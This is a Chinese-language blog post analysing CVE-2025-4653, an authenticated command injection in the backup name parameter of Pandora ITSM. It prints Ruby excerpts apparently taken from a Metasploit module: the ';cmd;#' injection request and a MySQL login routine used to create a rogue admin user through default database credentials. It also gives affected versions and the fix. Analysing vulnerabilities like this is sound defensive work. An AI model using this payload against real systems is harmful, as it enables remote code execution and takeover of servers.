Pandora ITSM认证命令注入漏洞分析与利用

本文详细分析了Pandora ITSM中存在的认证命令注入漏洞(CVE-2025-4653),攻击者可通过备份功能中的name参数注入恶意命令实现远程代码执行,需要管理员权限才能利用此漏洞。

Pandora ITSM认证命令注入漏洞

漏洞概述

Pandora ITSM是一款包含服务台功能的IT服务管理平台,与ITIL流程对齐。该模块利用了Pandora ITSM应用设置页面中备份设置的name参数存在的命令注入漏洞。通过在name参数中注入恶意负载生成备份,可以触发此漏洞。

技术细节

漏洞要求

  • 需要拥有Pandora ITSM Web应用的管理员访问权限
  • 影响所有ITSM企业版至5.0.105版本
  • 5.0.106版本已修复此漏洞

攻击向量

攻击者可以通过以下方式获得管理员访问权限:

  1. 已知管理员凭证访问Web应用
  2. 利用Pandora ITSM中的默认密码漏洞访问Pandora FMS ITSM数据库,创建新的管理员用户

技术实现

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
def execute_payload(cmd)
  @rce_payload = ";#{cmd};#"
  vprint_status("RCE payload: #{@rce_payload}")
  @clean_payload = true
  send_request_cgi({
    'method' => 'POST',
    'uri' => normalize_uri(target_uri.path, 'index.php'),
    'keep_cookies' => true,
    'vars_get' => {
      'sec' => 'godmode',
      'sec2' => 'enterprise/godmode/setup/backup_manager'
    },
    'vars_post' => {
      'name' => @rce_payload.to_s,
      'mode' => 1,
      'mail' => nil,
      'create_backup' => 1,
      'create' => 'Do a backup now'
    }
  })
end

数据库连接

模块支持通过MySQL数据库连接创建新的管理员用户:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
def mysql_login(host, user, password, db, port)
  begin
    self.mysql_client = ::Rex::Proto::MySQL::Client.connect(host, user, password, db, port)
  rescue Errno::ECONNREFUSED
    print_error('MySQL connection refused')
    return false
  end
  # ... 其他异常处理
  true
end

凭证处理

模块检查密码哈希算法,支持bcrypt和MD5两种格式:

1
2
3
4
5
if hash['password'].match(/^\$2.\$/)
  password_hash = Password.create(password)
else
  password_hash = Digest::MD5.hexdigest(password)
end

影响评估

  • 风险等级:高
  • 本地利用:否
  • 远程利用:是
  • CVE:2025-4653

缓解措施

升级到Pandora ITSM版本5.0.106或更高版本,该版本包含了对此漏洞的修复。

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计